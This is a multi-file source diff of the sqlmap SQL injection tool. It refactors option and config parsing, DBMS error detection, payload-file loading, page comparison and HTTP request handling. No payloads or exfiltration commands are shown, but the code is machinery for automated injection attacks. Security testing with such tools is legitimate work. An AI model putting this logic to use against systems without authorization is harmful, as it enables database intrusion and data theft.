+                    conf.verbose = verbosity.count('v') + 1
+                    del argv[argv.index(verbosity)]
+            except (IndexError, ValueError):
+                pass
+
        try:
            (args, _) = parser.parse_args(argv)
        except UnicodeEncodeError, ex:
-            print "\n[!] %s" % ex.object.encode("unicode-escape")
+            dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape"))
            raise SystemExit
        except SystemExit:
            if "-h" in argv and not advancedHelp:
-                print "\n[!] to see full list of options run with '-hh'"
+                dataToStdout("\n[!] to see full list of options run with '-hh'\n")
            raise

        if extraHeaders:
@@ -935,7 +963,7 @@ def cmdLineParser(argv=None):
            args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
            args.purgeOutput, args.pickledOptions, args.sitemapUrl)):
            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
-            errMsg += "use -h for basic or -hh for advanced help"
+            errMsg += "use -h for basic or -hh for advanced help\n"
            parser.error(errMsg)

        return args
@@ -946,7 +974,7 @@ def cmdLineParser(argv=None):
    except SystemExit:
        # Protection against Windows dummy double clicking
        if IS_WIN:
-            print "\nPress Enter to continue...",
+            dataToStdout("\nPress Enter to continue...")
            raw_input()
        raise

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -14,13 +14,14 @@ from lib.core.common import UnicodeRawConfigParser
 from lib.core.data import cmdLineOptions
 from lib.core.data import conf
 from lib.core.data import logger
+from lib.core.enums import OPTION_TYPE
 from lib.core.exception import SqlmapMissingMandatoryOptionException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.optiondict import optDict

 config = None

-def configFileProxy(section, option, boolean=False, integer=False):
+def configFileProxy(section, option, datatype):
    """
    Parse configuration file and save settings into the configuration
    advanced dictionary.
@@ -30,10 +31,12 @@ def configFileProxy(section, option, boolean=False, integer=False):

    if config.has_option(section, option):
        try:
-            if boolean:
+            if datatype == OPTION_TYPE.BOOLEAN:
                value = config.getboolean(section, option) if config.get(section, option) else False
-            elif integer:
+            elif datatype == OPTION_TYPE.INTEGER:
                value = config.getint(section, option) if config.get(section, option) else 0
+            elif datatype == OPTION_TYPE.FLOAT:
+                value = config.getfloat(section, option) if config.get(section, option) else 0.0
            else:
                value = config.get(section, option)
        except ValueError, ex:
@@ -91,8 +94,4 @@ def configFileParser(configFile):
    for family, optionData in optDict.items():
        for option, datatype in optionData.items():
            datatype = unArrayizeValue(datatype)
-
-            boolean = datatype == "boolean"
-            integer = datatype == "integer"
-
-            configFileProxy(family, option, boolean, integer)
+            configFileProxy(family, option, datatype)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -24,7 +24,8 @@ class HTMLHandler(ContentHandler):
        ContentHandler.__init__(self)

        self._dbms = None
-        self._page = page
+        self._page = (page or "")
+        self._lower_page = self._page.lower()

        self.dbms = None

@@ -33,11 +34,20 @@ class HTMLHandler(ContentHandler):
        threadData.lastErrorPage = (threadData.lastRequestUID, self._page)

    def startElement(self, name, attrs):
+        if self.dbms:
+            return
+
        if name == "dbms":
            self._dbms = attrs.get("value")

        elif name == "error":
-            if re.search(attrs.get("regexp"), self._page, re.I):
+            regexp = attrs.get("regexp")
+            if regexp not in kb.cache.regex:
+                keywords = re.findall("\w+", re.sub(r"\\.", " ", regexp))
+                keywords = sorted(keywords, key=len)
+                kb.cache.regex[regexp] = keywords[-1].lower()
+
+            if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I):
                self.dbms = self._dbms
                self._markAsErrorPage()

@@ -49,6 +59,13 @@ def htmlParser(page):

    xmlfile = paths.ERRORS_XML
    handler = HTMLHandler(page)
+    key = hash(page)
+
+    if key in kb.cache.parsedDbms:
+        retVal = kb.cache.parsedDbms[key]
+        if retVal:
+            handler._markAsErrorPage()
+        return retVal

    parseXmlFile(xmlfile, handler)

@@ -58,6 +75,8 @@ def htmlParser(page):
    else:
        kb.lastParserStatus = None

+    kb.cache.parsedDbms[key] = handler.dbms
+
    # generic SQL warning/error messages
    if re.search(r"SQL (warning|error|syntax)", page, re.I):
        handler._markAsErrorPage()
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -14,6 +14,7 @@ from lib.core.data import conf
 from lib.core.data import paths
 from lib.core.datatype import AttribDict
 from lib.core.exception import SqlmapInstallationException
+from lib.core.settings import PAYLOAD_XML_FILES

 def cleanupVals(text, tag):
    if tag in ("clause", "where"):
@@ -74,7 +75,7 @@ def loadBoundaries():
    try:
        doc = et.parse(paths.BOUNDARIES_XML)
    except Exception, ex:
-        errMsg = "something seems to be wrong with "
+        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
        raise SqlmapInstallationException, errMsg
@@ -83,16 +84,13 @@ def loadBoundaries():
    parseXmlNode(root)

 def loadPayloads():
-    payloadFiles = os.listdir(paths.SQLMAP_XML_PAYLOADS_PATH)
-    payloadFiles.sort()
-
-    for payloadFile in payloadFiles:
+    for payloadFile in PAYLOAD_XML_FILES:
        payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)

        try:
            doc = et.parse(payloadFilePath)
        except Exception, ex:
-            errMsg = "something seems to be wrong with "
+            errMsg = "something appears to be wrong with "
            errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
            errMsg += "sure that you haven't made any changes to it"
            raise SqlmapInstallationException, errMsg
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -13,6 +13,7 @@ import StringIO
 import struct
 import zlib

+from lib.core.common import Backend
 from lib.core.common import extractErrorMessage
 from lib.core.common import extractRegexResult
 from lib.core.common import getPublicTypeMembers
@@ -25,6 +26,8 @@ from lib.core.common import singleTimeWarnMessage
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import cachedmethod
+from lib.core.enums import DBMS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapCompressionException
@@ -34,6 +37,7 @@ from lib.core.settings import EVENTVALIDATION_REGEX
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
 from lib.core.settings import META_CHARSET_REGEX
 from lib.core.settings import PARSE_HEADERS_LIMIT
+from lib.core.settings import SELECT_FROM_TABLE_REGEX
 from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import VIEWSTATE_REGEX
 from lib.parse.headers import headersParser
@@ -91,7 +95,7 @@ def forgeHeaders(items=None):
                if cookie.domain_specified and not conf.hostname.endswith(cookie.domain):
                    continue

-                if ("%s=" % cookie.name) in headers[HTTP_HEADER.COOKIE]:
+                if ("%s=" % getUnicode(cookie.name)) in headers[HTTP_HEADER.COOKIE]:
                    if conf.loadCookies:
                        conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders))
                    elif kb.mergeCookies is None:
@@ -103,7 +107,7 @@ def forgeHeaders(items=None):
                        kb.mergeCookies = not _ or _[0] in ("y", "Y")

                    if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
-                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (cookie.name, getUnicode(cookie.value))).replace('\\', r'\\'), x)
+                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
                        headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])

                        if PLACE.COOKIE in conf.parameters:
@@ -112,7 +116,7 @@ def forgeHeaders(items=None):
                        conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders]

                elif not kb.testMode:
-                    headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value))
+                    headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value))

        if kb.testMode and not any((conf.csrfToken, conf.safeUrl)):
            resetCookieJar(conf.cj)
@@ -133,6 +137,7 @@ def parseResponse(page, headers):
    if page:
        htmlParser(page)

+@cachedmethod
 def checkCharEncoding(encoding, warn=True):
    """
    Checks encoding name, repairs common misspellings and adjusts to
@@ -150,7 +155,7 @@ def checkCharEncoding(encoding, warn=True):
        return encoding

    # Reference: http://www.destructor.de/charsets/index.htm
-    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8",  "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932"}
+    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8",  "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}

    for delimiter in (';', ',', '('):
        if delimiter in encoding:
@@ -204,7 +209,7 @@ def checkCharEncoding(encoding, warn=True):
    # Reference: http://docs.python.org/library/codecs.html
    try:
        codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
-    except LookupError:
+    except (LookupError, ValueError):
        if warn:
            warnMsg = "unknown web page charset '%s'. " % encoding
            warnMsg += "Please report by e-mail to '[email protected]'"
@@ -227,7 +232,10 @@ def getHeuristicCharEncoding(page):
    Returns page encoding charset detected by usage of heuristics
    Reference: http://chardet.feedparser.org/docs/
    """
-    retVal = detect(page)["encoding"]
+
+    key = hash(page)
+    retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
+    kb.cache.encoding[key] = retVal

    if retVal:
        infoMsg = "heuristics detected web page charset '%s'" % retVal
@@ -258,15 +266,16 @@ def decodePage(page, contentEncoding, contentType):

            page = data.read()
        except Exception, msg:
-            errMsg = "detected invalid data for declared content "
-            errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
-            singleTimeLogMessage(errMsg, logging.ERROR)
+            if "<html" not in page:  # in some cases, invalid "Content-Encoding" appears for plain HTML (should be ignored)
+                errMsg = "detected invalid data for declared content "
+                errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
+                singleTimeLogMessage(errMsg, logging.ERROR)

-            warnMsg = "turning off page compression"
-            singleTimeWarnMessage(warnMsg)
+                warnMsg = "turning off page compression"
+                singleTimeWarnMessage(warnMsg)

-            kb.pageCompress = False
-            raise SqlmapCompressionException
+                kb.pageCompress = False
+                raise SqlmapCompressionException

    if not conf.charset:
        httpCharset, metaCharset = None, None
@@ -305,6 +314,12 @@ def decodePage(page, contentEncoding, contentType):
            page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page)

            kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
+
+            if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
+                kb.pageEncoding = "utf-8"
+                if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
+                    page = page[3:]
+
            page = getUnicode(page, kb.pageEncoding)

            # e.g. &#8217;&#8230;&#8482;
@@ -330,11 +345,16 @@ def processResponse(page, responseHeaders):

    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)

+    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
+        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
+    else:
+        kb.tableFrom = None
+
    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
-            logger.warning("parsed DBMS error message: '%s'" % msg)
+            logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
@@ -344,9 +364,23 @@ def processResponse(page, responseHeaders):
                if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
                    if conf.paramDict[PLACE.POST][name] in page:
                        continue
-                    conf.paramDict[PLACE.POST][name] = value
-                conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])
+                    else:
+                        msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
+                        if readInput(msg, default='N').strip().upper() != 'Y':
+                            continue
+                        conf.paramDict[PLACE.POST][name] = value
+                conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])
+
+    if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
+        for match in re.finditer(r"(?si)<form.+?</form>", page):
+            if re.search(r"(?i)captcha", match.group(0)):
+                kb.captchaDetected = True
+                warnMsg = "potential CAPTCHA protection mechanism detected"
+                if re.search(r"(?i)<title>[^<]*CloudFlare", page):
+                    warnMsg += " (CloudFlare)"
+                singleTimeWarnMessage(warnMsg)
+                break

    if re.search(BLOCKED_IP_REGEX, page):
-        errMsg = "it appears that you have been blocked by the target server"
-        singleTimeLogMessage(errMsg, logging.ERROR)
+        warnMsg = "it appears that you have been blocked by the target server"
+        singleTimeWarnMessage(warnMsg)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -21,10 +21,12 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DIFF_TOLERANCE
 from lib.core.settings import HTML_TITLE_REGEX
 from lib.core.settings import MIN_RATIO
+from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import MAX_RATIO
 from lib.core.settings import REFLECTED_VALUE_MARKER
 from lib.core.settings import LOWER_RATIO_BOUND
 from lib.core.settings import UPPER_RATIO_BOUND
+from lib.core.settings import URI_HTTP_HEADER
 from lib.core.threads import getCurrentThreadData

 def comparison(page, headers, code=None, getRatioValue=False, pageLength=None):
@@ -47,19 +49,15 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
    threadData = getCurrentThreadData()

    if kb.testMode:
-        threadData.lastComparisonHeaders = listToStrValue(headers.headers) if headers else ""
+        threadData.lastComparisonHeaders = listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else ""
        threadData.lastComparisonPage = page
+        threadData.lastComparisonCode = code

    if page is None and pageLength is None:
        return None

-    count = 0
-
-    seqMatcher = threadData.seqMatcher
-    seqMatcher.set_seq1(kb.pageTemplate)
-
    if any((conf.string, conf.notString, conf.regexp)):
-        rawResponse = "%s%s" % (listToStrValue(headers.headers) if headers else "", page)
+        rawResponse = "%s%s" % (listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else "", page)

        # String to match in page when the query is True and/or valid
        if conf.string:
@@ -77,6 +75,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
    if conf.code:
        return conf.code == code

+    seqMatcher = threadData.seqMatcher
+    seqMatcher.set_seq1(kb.pageTemplate)
+
    if page:
        # In case of an DBMS error page return None
        if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
@@ -109,59 +110,37 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
        elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
            seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')

-        seq1, seq2 = None, None
-
-        if conf.titles:
-            seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
-            seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
+        if seqMatcher.a and page and seqMatcher.a == page:
+            ratio = 1
+        elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
+            ratio = 1.0 * len(seqMatcher.a) / len(page)
+            if ratio > 1:
+                ratio = 1. / ratio
        else:
-            seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
-            seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
+            seq1, seq2 = None, None

-        if seq1 is None or seq2 is None:
-            return None
-
-        seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
-        seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
-
-        while count < min(len(seq1), len(seq2)):
-            if seq1[count] == seq2[count]:
-                count += 1
+            if conf.titles:
+                seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
+                seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
            else:
-                break
+                seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
+                seq2 = getFilteredPageContent(page, True) if conf.textOnly else page

-        if count:
-            try:
-                _seq1 = seq1[count:]
-                _seq2 = seq2[count:]
-            except MemoryError:
-                pass
-            else:
-                seq1 = _seq1
-                seq2 = _seq2
+            if seq1 is None or seq2 is None:
+                return None

-        while True:
-            try:
-                seqMatcher.set_seq1(seq1)
-            except MemoryError:
-                seq1 = seq1[:len(seq1) / 1024]
-            else:
-                break
+            seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
+            seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")

-        while True:
-            try:
-                seqMatcher.set_seq2(seq2)
-            except MemoryError:
-                seq2 = seq2[:len(seq2) / 1024]
-            else:
-                break
+            seqMatcher.set_seq1(seq1)
+            seqMatcher.set_seq2(seq2)

-        ratio = round(seqMatcher.quick_ratio(), 3)
+            ratio = round(seqMatcher.quick_ratio(), 3)

    # If the url is stable and we did not set yet the match ratio and the
    # current injected value changes the url page content
    if kb.matchRatio is None:
-        if (count or ratio >= LOWER_RATIO_BOUND) and ratio <= UPPER_RATIO_BOUND:
+        if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
            kb.matchRatio = ratio
            logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -31,8 +31,8 @@ from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.common import asciifyUrl
 from lib.core.common import calculateDeltaSeconds
+from lib.core.common import checkSameHost
 from lib.core.common import clearConsoleLine
-from lib.core.common import cpuThrottle
 from lib.core.common import dataToStdout
 from lib.core.common import evaluateCode
 from lib.core.common import extractRegexResult
@@ -91,6 +91,8 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
 from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE
 from lib.core.settings import MAX_CONNECTIONS_REGEX
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
+from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
+from lib.core.settings import MAX_MURPHY_SLEEP_TIME
 from lib.core.settings import META_REFRESH_REGEX
 from lib.core.settings import MIN_TIME_RESPONSES
 from lib.core.settings import IS_WIN
@@ -111,7 +113,6 @@ from lib.request.basic import processResponse
 from lib.request.direct import direct
 from lib.request.comparison import comparison
 from lib.request.methodrequest import MethodRequest
-from thirdparty.multipart import multipartpost
 from thirdparty.odict.odict import OrderedDict
 from thirdparty.socks.socks import ProxyError

@@ -123,7 +124,10 @@ class Connect(object):

    @staticmethod
    def _getPageProxy(**kwargs):
-        return Connect.getPage(**kwargs)
+        try:
+            return Connect.getPage(**kwargs)
+        except RuntimeError:
+            return None, None, None

    @staticmethod
    def _retryProxy(**kwargs):
@@ -145,7 +149,7 @@ class Connect(object):
            warnMsg = "most probably web server instance hasn't recovered yet "
            warnMsg += "from previous timed based payload. If the problem "
            warnMsg += "persists please wait for few minutes and rerun "
-            warnMsg += "without flag T in option '--technique' "
+            warnMsg += "without flag 'T' in option '--technique' "
            warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to "
            warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')"
            singleTimeWarnMessage(warnMsg)
@@ -220,13 +224,13 @@ class Connect(object):

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)
-        elif conf.cpuThrottle:
-            cpuThrottle(conf.cpuThrottle)

        if conf.offline:
            return None, None, None
-        elif conf.dummy:
-            return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None
+        elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
+            if conf.murphyRate:
+                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
+            return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3)

        threadData = getCurrentThreadData()
        with kb.locks.request:
@@ -242,25 +246,28 @@ class Connect(object):
        referer = kwargs.get("referer",             None) or conf.referer
        host = kwargs.get("host",                   None) or conf.host
        direct_ = kwargs.get("direct",              False)
-        multipart = kwargs.get("multipart",         False)
+        multipart = kwargs.get("multipart",         None)
        silent = kwargs.get("silent",               False)
        raise404 = kwargs.get("raise404",           True)
        timeout = kwargs.get("timeout",             None) or conf.timeout
        auxHeaders = kwargs.get("auxHeaders",       None)
        response = kwargs.get("response",           False)
-        ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout
+        ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get("refreshing",       False)
        retrying = kwargs.get("retrying",           False)
        crawling = kwargs.get("crawling",           False)
        skipRead = kwargs.get("skipRead",           False)

+        if multipart:
+            post = multipart
+
        websocket_ = url.lower().startswith("ws")

        if not urlparse.urlsplit(url).netloc:
            url = urlparse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
-        target = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, conf.url or ""]))
+        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
@@ -298,20 +305,6 @@ class Connect(object):
                    params = urlencode(params)
                    url = "%s?%s" % (url, params)

-            elif multipart:
-                # Needed in this form because of potential circle dependency
-                # problem (option -> update -> connect -> option)
-                from lib.core.option import proxyHandler
-
-                multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler)
-                conn = multipartOpener.open(unicodeencode(url), multipart)
-                page = Connect._connReadProxy(conn) if not skipRead else None
-                responseHeaders = conn.info()
-                responseHeaders[URI_HTTP_HEADER] = conn.geturl()
-                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
-
-                return page
-
            elif any((refreshing, crawling)):
                pass

@@ -364,7 +357,7 @@ class Connect(object):
            if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"

-            if post is not None and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
+            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
@@ -376,6 +369,9 @@ class Connect(object):
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

+            if conf.keepAlive:
+                headers[HTTP_HEADER.CONNECTION] = "keep-alive"
+
            # Reset header values to original in case of provided request file
            if target and conf.requestFile:
                headers = OrderedDict(conf.httpHeaders)
@@ -391,15 +387,17 @@ class Connect(object):

            for key, value in headers.items():
                del headers[key]
-                headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(value, kb.pageEncoding)
+                value = unicodeencode(value, kb.pageEncoding)
                for char in (r"\r", r"\n"):
                    value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value)
+                headers[unicodeencode(key, kb.pageEncoding)] = value.strip("\r\n")

            url = unicodeencode(url)
            post = unicodeencode(post)

            if websocket_:
                ws = websocket.WebSocket()
+                ws.settimeout(timeout)
                ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or ""))
                page = ws.recv()
@@ -411,7 +409,7 @@ class Connect(object):
                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

-                requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
+                requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += "\n%s" % requestHeaders

                if post is not None:
@@ -430,7 +428,7 @@ class Connect(object):
                else:
                    req = urllib2.Request(url, post, headers)

-                requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items())
+                requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
@@ -442,7 +440,7 @@ class Connect(object):
                        requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
-                    requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION
+                    requestHeaders += "\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive")

                requestMsg += "\n%s" % requestHeaders

@@ -451,9 +449,10 @@ class Connect(object):

                requestMsg += "\n"

-                threadData.lastRequestMsg = requestMsg
+                if not multipart:
+                    threadData.lastRequestMsg = requestMsg

-                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
+                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
@@ -476,7 +475,7 @@ class Connect(object):
                    return conn, None, None

                # Get HTTP response
-                if hasattr(conn, 'redurl'):
+                if hasattr(conn, "redurl"):
                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
                    else Connect._connReadProxy(conn)) if not skipRead else None
